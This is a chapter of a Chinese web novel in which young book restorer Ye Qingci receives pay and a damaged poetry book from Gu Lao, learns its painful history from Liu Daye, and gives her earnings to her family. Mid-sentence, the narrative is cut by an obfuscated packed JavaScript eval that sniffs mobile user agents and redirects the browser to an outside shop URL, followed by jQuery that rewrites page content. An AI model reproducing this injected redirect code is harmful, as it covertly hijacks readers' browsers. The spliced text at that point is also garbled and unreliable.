叩门,来迎客的依旧是顾老。
顾老似乎对叶轻辞的到来并不意外,侧身让她进屋。
屋内的暖意和墨香依旧。
叶轻辞没有多话,直接将布包放在书桌上,轻轻打开。
顾老戴上白手套,拿起墨卷,一页页慢慢翻阅。
他的动作比刘大爷更慢,指尖轻轻抚过曾经粘连的接缝处,在那些加固过的脆弱边缘稍作停留,又仔细查看了字迹晕染的遏制情况。
整个过程,他一句话也没说,脸上也没什么表情。
专注的眼神,却比任何语言都更让叶轻辞感到压力。
她安静地侯在一旁,手心微微沁汗。
良久,顾老将墨卷合上。
然后,他走到书桌旁的多宝格前,打开一个带暗锁的小抽屉,从里面取出一个薄薄的牛皮纸信封。
好一会儿,才又从书架上抽出一本用蓝色书衣包裹的旧书。
他将信封先推了过来:“这是你应得的酬劳。”
叶轻辞接过,没有当面打开,只是躬身道谢:“谢谢顾爷爷。”
顾老点了点头,又将那本蓝色书衣的旧书递了过来,语气平淡无波:“这个,是我想托你修的下一份东西。”
叶轻辞双手接过,有些疑惑。
书不重,蓝色书衣是普通的机制纸,上面没有任何题签。
她下意识地想翻开看看是什么书。
“现在不用看。”顾老阻止了她,“拿回去,得空的时候仔细瞧瞧……检查一下书况,该加固加固,该修补修补。”
话到这里,都还正常。
但紧接着,他抬起眼,目光穿过眼镜,直直地落在叶轻辞脸上:“它就拜托你了。”
这话满是郑重。
叶轻辞心头猛地一跳:书里莫不是,藏着什么别的东西?
疑问重重,但她面上丝毫不显。
“是,我会的。”
顾老几不可察地微微颔首:“去吧。”他摆了摆手,“这会儿天暖,你注意着回去,我就不送了。”
叶轻辞将东西收好,躬身行礼,轻手轻脚退了出去。
路上风雪交加,她心中的疑惑不减。
回到秦师父侧屋那方属于自己的小天地,关上门,隔绝了外头的寒气与纷扰,叶轻辞才感觉紧绷的心弦稍稍放松。
她先拿出那个牛皮纸信封,小心拆开。
里面是钱,整整二十块。
估摸是为了她花用方便,其中只有一张十元的大团结是整钞,其余都是五元、两元、一元甚至毛票,难怪信封摸起来颇有厚度。
对于修复那本墨卷来说,酬劳堪称丰厚。
顾老没有因为她年纪小而刻意压低价格,叫叶轻辞心头微暖。
但是,她更多的注意力还是被那本蓝色书衣的旧书吸引。
她在桌前坐下,净了手,这才小心解开书衣上系着的棉绳。
书册是一本《千家诗》的残本,大概是民国时期的石印或铅印本,纸张泛黄发脆。
书脊有破损,内页边角也有磨损。
从书籍本身来看,品相不佳,需要修复,但……似乎也仅此而已。
那为何,会让顾老那般郑重其事?
叶轻辞不解。
她没有立刻动手细检或修复,一种莫名的直觉告诉她,这本书并不像表面那么简单。
她将书用干净的软布包好,放回抽屉。
心神略有些不定,叶轻辞索性铺开纸笔练字。
傍晚离开秦师父小院后,她没有直接回家,而是绕道去了刘大爷那儿,用刚得的零钱,在街口买了两个还热乎的芝麻烧饼。
刘大爷正在他那方新得的屋檐下,就着最后的天光整理书箱,见她来,还带了烧饼,笑呵呵地接过去:“哟,丫头,发财了?还知道孝敬你刘爷爷。”
“刘爷爷。”叶轻辞帮着把几本散乱的书归拢,状似不经意地问起,“顾爷爷又给了本旧书让我看看,是本《千家诗》。”
她没提其他,只说了书名。
刘大爷啃烧饼的动作顿了顿,慢慢嚼了几下,咽下去。
好一会儿,他才咂摸着嘴道:“《千家诗》……”他想了想,似乎在回忆什么,语气变得有些感慨,“不会是他死去的老伴留下的吧?”
叶轻辞的动作几不可察地一顿。
刘大爷点了根自己卷的烟,深吸一口,缓缓吐出灰白的烟圈:“他老伴以前是中学语文老师,姓苏……人斯斯文文的,漂亮又好脾气,最爱诗集。”
“他们家里别的东西不说,这些书册多了去。”他弹了弹烟灰,“早些年……闹得厉害,抄捡时弄坏了不少。苏老师身子骨本就弱,一气一急,又缺衣少食,没熬过去。剩下些零碎,顾老偷偷拾回来一些,藏藏掖掖的,一直想修,但又找不到放心的人。”
他叹了口气:“……估摸着,他是看你修书那股仔细劲儿,又是个孩子,心思干净,才动了这个念头。”
原来如此。
叶轻辞心中的疑惑豁然开朗。
这也证明,她真正得到了顾老的信任。
“刘爷爷,”她声音轻轻的,带着一种了然的郑重,“谢谢您告诉我这些。”
刘大爷摆摆手:“谢啥,我就是个牵线的。你能入顾老的眼,是你自己有本事,心也正。”他顿了顿,又道,“叶丫头,这活儿接了,就用心做。真挣了钱,孝顺你爸妈吧,别再给老头子瞎买什么东西了。”
“不会忘的。”叶轻辞深深鞠了一躬。
天色渐晚,胡同里的风更冷了。
转身离开时,叶轻辞听见刘大爷在她身后感慨:“有本事,好心性……不容易啊。以后谁家小子娶了你,那可真是祖上积德,有福气咯!”
叶轻辞听见了,脚步却没有停。
她的心中升起一股近乎本能的不适与不平——
为什么?
为什么女儿家有本事,就自然而然合该被人议论嫁娶问题?
纵然展现能力,获得了认可,无数赞叹的落脚点,还是会绕回“别家小子的福气”上去?
哪门子的理!
她拥有的本事和心性,是她一点点学练打磨来的。
它们首先是她安身立命、实现价值的凭依,归属于叶轻辞这个独立个体。
至少在此刻,行走在书画修复这条路上,她只是她自己。
她的价值几何,不应由婚姻判定。
这股无声的辩白在叶轻辞心头一闪而过,并未激起太多波澜。
她知道时代的局限,理解刘大爷话语里那份基于传统认知的淳朴善意,不会因此心生芥蒂。
只是,这个细微的念头,如同悄然埋下的种子。
它提醒着她,她选择的这条路,或许不仅仅能够改善家境、传承技艺,也在无形中一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17118984|194440||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
点点拓宽着她与无数女孩在这个时代可能拥有的定义。
她拢了拢衣襟,步伐稳定地朝家的方向走去。
寒风似乎吹进了心里,推开家门时,叶轻辞脸上难免带出了些许低落的痕迹。
“岁岁回来啦。”叶妈正在堂屋踩着缝纫机,嗒嗒声中抬起头,一眼就瞧出女儿情绪不高,“怎么了这是,脸木木的。在学校受委屈了,还是秦师父那儿功课太难?”
叶奶奶也放下手里纳了一半的鞋底,凑过来摸了摸她的额头:“不烫啊……快过来烤烤火,炉子边暖和。”
家人的关切如同暖流,瞬间融化了心头的凉意。
叶轻辞摇摇头:“没,就是天冷,路上吹的。”
“这天是邪性,说冷就冷。”叶妈不疑有他,放下手里的活计,起身去里屋炕柜翻找,“对了,正好你试试这个,保准高兴!”
她拿出一件折叠整齐的新衣服,抖开,是一件大红色的小袄,领口和袖口滚着一圈雪白的兔毛边,胸前还用彩色丝线绣着两朵小小的、俏皮的梅花。
颜色鲜亮喜庆,做工精细,一看就是花了大力气准备的。
“过年穿的新衣裳,妈早就给你做好了,弄了好久,一直藏着想给你个惊喜。”
叶妈脸上带着献宝似的笑容,将衣服往叶轻辞身上比划。
“快试试,看合身不?这红多正,衬你白。毛边是托人从乡下捎来的真兔毛,暖和。”
叶奶奶也笑眯眯地点头:“我们岁岁穿上,准保是胡同里最俊的闺女。”
屋里仿佛燃起了小火苗,将叶轻辞最后那点郁气烧得干干净净。
“好看的,谢谢妈,谢谢奶奶。”她接过衣服,脸上绽开真心实意的笑容。
试过新衣,果然合身又精神,全家人都夸。
暖意融融中,叶轻辞回到里屋,坐在炕沿,从怀里掏出那个牛皮纸信封。
她深吸一口气,从里面抽出了那张大团结,然后将剩下的零钱仔细放回信封,揣进贴身衣服的内兜里。
堂屋里,叶爸刚好下班回来,正在炉子边烤手,叶妈和叶奶奶在商量着晚上是就菜吃剩饭还是再煮点面条。
“爸,妈,奶奶。”三人停下话头,看向她。
她伸出手,将钱递了出去:“这个,给家里。”
空气安静了一瞬。
“岁岁,这钱哪来的?”叶爸意外。
“修书挣的。”叶轻辞语气平静,尽量让解释听起来简单合理,“帮一位老爷爷修好了一本旧书的报酬,师父也知道。”
她抬出秦师父,增加可信度。
“修书能挣十块钱?”叶妈也回过神来,又是惊讶又是心疼,“你这孩子,是不是接了多难的活儿,累坏了吧?这钱你自个儿留着,买纸买笔。”
“不用妈妈。”叶轻辞打断妈妈的话,“我暂时不缺钱用,留家里好。”
叶爸看着女儿平静却认真的小脸,眼眶忽然有些发热。
他喉头滚动了几下,最终什么也没说,只是用力揉了揉叶轻辞的头发。
叶奶奶拿起那张钱,无比欢喜:“这钱咱们给岁岁存着,将来……”
“奶奶,”叶轻辞道,“我现在能挣一点,以后还能挣。家里好了,我才能安心学本事。”
最终,这张十元钱,在叶轻辞的坚持下,被叶妈小心翼翼收进了家里存放重要票据和日常花销的铁皮盒子里。